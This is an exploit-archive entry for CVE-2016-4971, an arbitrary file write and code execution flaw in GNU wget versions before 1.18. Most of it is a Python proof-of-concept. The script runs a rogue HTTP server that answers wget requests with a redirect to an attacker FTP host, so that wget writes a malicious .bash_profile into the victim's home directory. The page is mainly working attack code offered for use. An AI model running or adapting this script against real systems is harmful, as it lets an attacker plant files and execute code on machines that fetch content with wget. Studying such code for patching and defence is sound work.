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GNU wget Arbitrary File Upload / Code Execution

GNU wget Arbitrary File Upload / Code Execution
Posted Apr 30, 2021
Authored by Dawid Golunski, liewehacksie

GNU wget versions prior to 1.1.8 arbitrary file upload and code execution exploit.

tags | exploit, arbitrary, code execution, file upload
advisories | CVE-2016-4971
MD5 | b58323ee91fc57fe6f500e0a6fef2cb9

GNU wget Arbitrary File Upload / Code Execution

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# Exploit Title: GNU Wget < 1.18 - Arbitrary File Upload / Remote Code Execution (2)
# Original Exploit Author: Dawid Golunski
# Exploit Author: liewehacksie
# Version: GNU Wget < 1.18
# CVE: CVE-2016-4971

import http.server
import socketserver
import socket
import sys

class wgetExploit(http.server.SimpleHTTPRequestHandler):

def do_GET(self):
# This takes care of sending .wgetrc/.bash_profile/$file

print("We have a volunteer requesting " + self.path + " by GET :)\n")
if "Wget" not in self.headers.get('User-Agent'):
print("But it's not a Wget :( \n")
self.send_response(200)
self.end_headers()
self.wfile.write("Nothing to see here...")
return

self.send_response(301)
print("Uploading " + str(FILE) + "via ftp redirect vuln. It should land in /home/ \n")
new_path = 'ftp://anonymous@{}:{}/{}'.format(FTP_HOST, FTP_PORT, FILE)

print("Sending redirect to %s \n"%(new_path))
self.send_header('Location', new_path)
self.end_headers()


HTTP_LISTEN_IP = '192.168.72.2'
HTTP_LISTEN_PORT = 80
FTP_HOST = '192.168.72.4'
FTP_PORT = 2121
FILE = '.bash_profile'

handler = socketserver.TCPServer((HTTP_LISTEN_IP, HTTP_LISTEN_PORT), wgetExploit)

print("Ready? Is your FTP server running?")

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
result = sock.connect_ex((FTP_HOST, FTP_PORT))
if result == 0:
print("FTP found open on %s:%s. Let's go then\n" % (FTP_HOST, FTP_PORT))
else:
print("FTP is down :( Exiting.")
exit(1)

print("Serving wget exploit on port %s...\n\n" % HTTP_LISTEN_PORT)

handler.serve_forever()
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